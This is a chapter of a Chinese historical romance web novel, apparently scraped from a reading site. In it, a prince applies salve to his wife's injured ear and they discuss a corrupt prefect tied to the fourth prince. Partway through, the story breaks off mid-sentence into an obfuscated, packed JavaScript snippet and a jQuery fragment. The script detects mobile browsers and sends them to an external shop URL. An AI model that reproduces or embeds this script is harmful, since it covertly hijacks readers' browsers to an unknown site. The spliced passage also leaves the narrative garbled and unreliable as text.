文趣网 > 都市小说 > 桂花落满地 > 16. 第 16 章 上药
    祁瑾序从城郊回府时,常昭宁正在屋内逗猫,房门未关,祁瑾序踏进院中,远远望见主屋内的常昭宁,怀中抱着一只狸奴,一众青丝垂直落于腰间。

    祁瑾序悄无声息地走进屋子,见常昭宁穿得单薄,将房门半掩,眉梢挑起,问道:“不冷?”

    常昭宁本背对着门,专心致志地给滚滚梳毛,身后冷不响起一道嗓音,常昭宁肩膀一颤,手中的梳篦掉在地上,发出“哐当——”一声,滚滚正好逮着空隙跑开。

    常昭宁转身,祁瑾序正立于门前,垂眸看着她,随即,他目光轻移,短暂扫了一眼她的耳垂。

    “是我。”祁瑾序并非有意吓她,缓步上前,将掉落在地上的梳篦捡起,上面还留有几撮滚滚的白毛。

    常昭宁方才沐浴完毕,素芷替她耳垂抹了药膏,此时不知是否起了药效,她觉得耳垂有些轻微发烫,看了祁瑾序一眼,道:“坐。”

    内院夜深人静,祁瑾序回屋前打算来主屋看一眼,因白日里未曾仔细看过常昭宁耳垂的伤,此时看清,如她所说一样,并不严重,检查过已抹了药膏,他无甚用处,本打算就此迈腿离开,常昭宁突然让他坐下。

    祁瑾序没问原因,安静在桌旁坐下,见常昭宁走到桌子对面,白净纤长的手拿起茶壶,倒了杯水,杯盏又被推至他身前,常昭宁问他:“殿下用过晚膳了吗?”

    常昭宁极少用如此柔和的嗓音和他说话,其实祁瑾序傍晚从城郊到大理寺时,已用过晚膳,但此刻却无法拒绝一般,答道:“还未用过。”

    常昭宁唤了素芷,让其将膳房备好的吃食端上来。

    祁瑾序闻言,视线从茶盏转向常昭宁,常昭宁自然也发现祁瑾序在看她,想着也许没什么不对,大理寺那日她心绪低落,祁瑾序给她买了金簌斋的甜食,今日祁瑾序若是生气,她早早备好祁瑾序平日里爱吃的,也许他也会消气。

    等了一会儿,膳房接连端来的吃食要将屋内圆桌摆满了,眼看着就要搁不下了,祁瑾序抬手,道:“不用上了,这些够了。”

    祁瑾序又去看常昭宁:“你也没用晚膳?”

    常昭宁摇头,娴静端坐,和祁瑾序对视,道:“用过了,殿下快吃吧,凉了容易积食。”

    “我一个人吃不了这么多。”,祁瑾序说得委婉,先给自己铺了台阶。

    常昭宁贴心道:“殿下随意用些,今日小黄还未吃饱。”

    “小黄是何人?”

    从未听常昭宁如此亲密地唤过谁的名字,祁瑾序刚提起的筷子又放下。

    “前些日子街道上抱回来的那只小黄狗,可还记得?蔡伯给它取了名字。”

    常昭宁说完,看祁瑾序仍旧不动,眼神还有些疑惑,连忙道:“我不是那个意思,殿下不用担心。”

    祁瑾序轻笑,终于提箸夹菜,他不知一顿晚膳用多久合适,常昭宁时不时还给他添菜,为了圆谎,夹进碗中的,祁瑾序都吃了下去。

    晚膳结束时,这是祁瑾序二十多年来,第一次为一个决定感到后悔,只好打算着回去以后,再去演武场一趟。

    丫鬟进来收拾桌子,房门被打开,夜间冷风嗖嗖地灌进来,常昭宁的发梢被风吹得飘起,祁瑾序侧头,见几缕头发黏在了她的耳垂上。

    常昭宁见祁瑾序一双眼眸又盯着她的耳朵端详,伸手要将发丝挽至耳后,解释道:“已上过药了。”

    祁瑾序扣住她的手腕,拉下来,放在膝盖上,祁瑾序拧眉,轻声道:“别碰,缠住了,我看看。”

    隔着一层布料,常昭宁仍旧能感受到他掌心的温热,温度透过寝衣覆在她手腕上。

    常昭宁听话未动,一道阴影落下,见祁瑾序抬起手,将落她耳朵上发丝拨开,挽至耳后,常昭宁感到耳朵有些痒。

    祁瑾序凑近看,发现她的耳垂有些肿了,许是白日里被扯得重了。又问道:“药膏被蹭掉了,在哪儿?我给你再抹一些。”

    “无碍,等会让素芷重新给我抹一层。”

    祁瑾序未答,空下来的手从桌上捡来一小瓶子,拿到常昭宁眼前晃了晃,“这个?”

    “嗯。”常昭宁坐着。

    二人贴近,常昭宁余光只瞥得见一侧脸,她低头,眼睫跟着垂下,视线落在手腕上,手还被祁瑾序握着,修长的手指轻拢着她的手腕。

    常昭宁的耳垂有微凉的触感,祁瑾序捏着药勺,将药膏轻轻涂匀。耳畔又传来他的声音,又低又轻,说的很慢:“今日是我疏忽了。”

    闻言,常昭宁目光一凝,瞬间明白过来,他是在说今日城郊一事,今日在马车上时,祁瑾序面若冰霜,语气也冷冰冰的,常昭宁以为他是有些恼火,没想到,他竟是自责。

    药膏涂好了,耳垂又开始发烫,常昭宁坐直了身子,正对着祁瑾序,一双眼眸对上他的,目光闪烁,认真道:“下次我保证不离你半步。”

    我保证不离你半步。

    此话一出,祁瑾序听得顺耳至极,眼底攒了笑意,松开手,又多余叮嘱:“这几日伤口小心沾水,外头潮湿,待好些了再出门。”

    常昭宁应声,收回手,双手交叠放在腿上,向他问起正事:“流民之事查的如何?”

    祁瑾序道:“泠州前一年发了大水,闹灾荒,官府不管不顾,不仅未向朝廷上报,反倒私自加紧派税,百姓担不住压力,迁了出来。”

    “泠州易发水灾,朝廷每年特批一笔银两专供泠州治水,已多年未曾听闻泠州发大水,再如何严重,应也不至于此。”常昭宁曾听常木桢在家中说过,泠州水灾严重,工部派了许多建筑人才去往泠州修水库。

    “前五年,朝廷向泠州调遣了一位知府,名曰赵岐。”

    赵岐,常昭宁心中将京中世家大族都搜素了遍,未听过赵岐这个人名。

    “一个边州的小小知府,怎会有如此大的胆量?莫不是背后有何人助力?”

    “说的不错。”祁瑾序说着,从胸前襟中拿出一封叠好的信纸,搁于常昭宁面前,指尖轻敲,“打开看。”

    信纸被墨水渗透,常昭宁打开,信纸写道:泠州知府,任期六年,赵岐,赵如乾之子,外祖盛怀拥。

    盛怀拥常昭宁熟悉,淳贵妃之父,也就是祁子玦外祖。

    盛怀拥常年坐镇西北边塞,操练西北军,平戎狄叛乱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911565|213128||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,安顺帝因此也对淳贵妃宠爱有加。

    如此看来,此事和四皇子亦脱不了干系。

    “四皇子可是要犯谋逆的大罪。”常昭宁略有不安。

    祁瑾序嗤笑一声,懒洋洋道:“放心,他还没有那么大的胆子。”

    说完,祁瑾序又从桌上碟子里捡起一块点心,将要递至嘴边时,才想起自己刚刚已吃得十分饱,转而将糕点塞进常昭宁嘴里。

    常昭宁在一旁端坐,正忧心着,双唇微张,准备说些什么,嘴中忽而被放进一小块糕点,一股甜腻瞬间在唇齿间化开。

    她已漱过口,不应再吃东西,不料祁瑾序又突然塞块糕点给她。祁瑾序解决完糕点,迅速给她倒了杯茶水,亲手递着,托至她嘴边,常昭宁听见他带着笑意的嗓音:“别噎着。”

    祁瑾序一手捏着杯盏,一手撑着脑袋,侧头看常昭宁,她刚还有一瞬间的错愕,因糕点还含在嘴里,衬得左边脸颊稍圆一些。

    常昭宁吃东西时不说话,只能瞪他一眼,对视时撞见祁瑾序含笑的目光,就知道此人又在逗她。

    咽下糕点,喝了口茶水,常昭宁脑海中闪过上元节那夜,问祁瑾序:“那他的目标是储君?”

    “聪明。”祁瑾序挑眉,“还好你未嫁他。”

    “嫁你便好了?”常昭宁未曾多想,脱口而出。

    祁瑾序嘴角笑意未减,起身,大步走至门前,临走前回过头,语气欠欠:“好不好日后才知道。”

    话音落下,祁瑾序已经出了房门,主屋的门也被他紧紧关上,一丝凉风都闯不进来。

    ……

    翌日,常昭宁起的早,出门透气,恰巧碰见同样早起的小黄狗,小黄狗早起散步,一路悠闲晃荡,逛至内院,瞄见救命恩人,也不踏进院子,在院门外欢快地摇着尾巴。

    常昭宁瞧见,朝它招手,再无顾忌,小黄狗跑进院里,尾巴转着圈摇,围着常昭宁转圈。

    祁瑾序天未亮时便起来练武,此时从演武场回来,发现路上有一连串梅花脚印,扫了一眼,确认其大小不是滚滚的。待到内院时,瞧见一抹棕黄影子,了然。

    常昭宁正蹲着,小黄狗将她手心舔了又舔,她歪头看见祁瑾序走过来,便站起身,手指了指正在甩尾的小黄狗,告诉祁瑾序:“这就是小黄。”

    祁瑾序顺着她的指尖去看,虽才月余,小黄狗已长大许多,院外响起蔡伯的声音,“殿下,夫人,起得这般早?小黄!出来!”

    小黄狗顺从回到蔡伯身边,蔡伯带着它往膳房去,常昭宁看着湿润的右手,又看了眼一旁的世子殿下,抬起手来轻拍了一下祁瑾序的背,将小黄狗的口水擦至祁瑾序的背上,温柔笑道:“殿下晨起练武辛苦了,先换身衣裳再来主屋用早膳罢。”

    祁瑾序脊背一僵,搞不懂常昭宁突然摸他的背做什么,只挪开目光,喉结轻滚,简单嗯了一声,回屋换衣裳去了。

    玄墨和夜寻均立于主子身后,自然是将全过程看得一清二楚,心中想着,殿下怎会感受不到?跟着祁瑾序一路至侧房门口,犹豫半晌,多言恐有误,齐齐闭嘴。只当是世子和夫人之间的情趣罢了。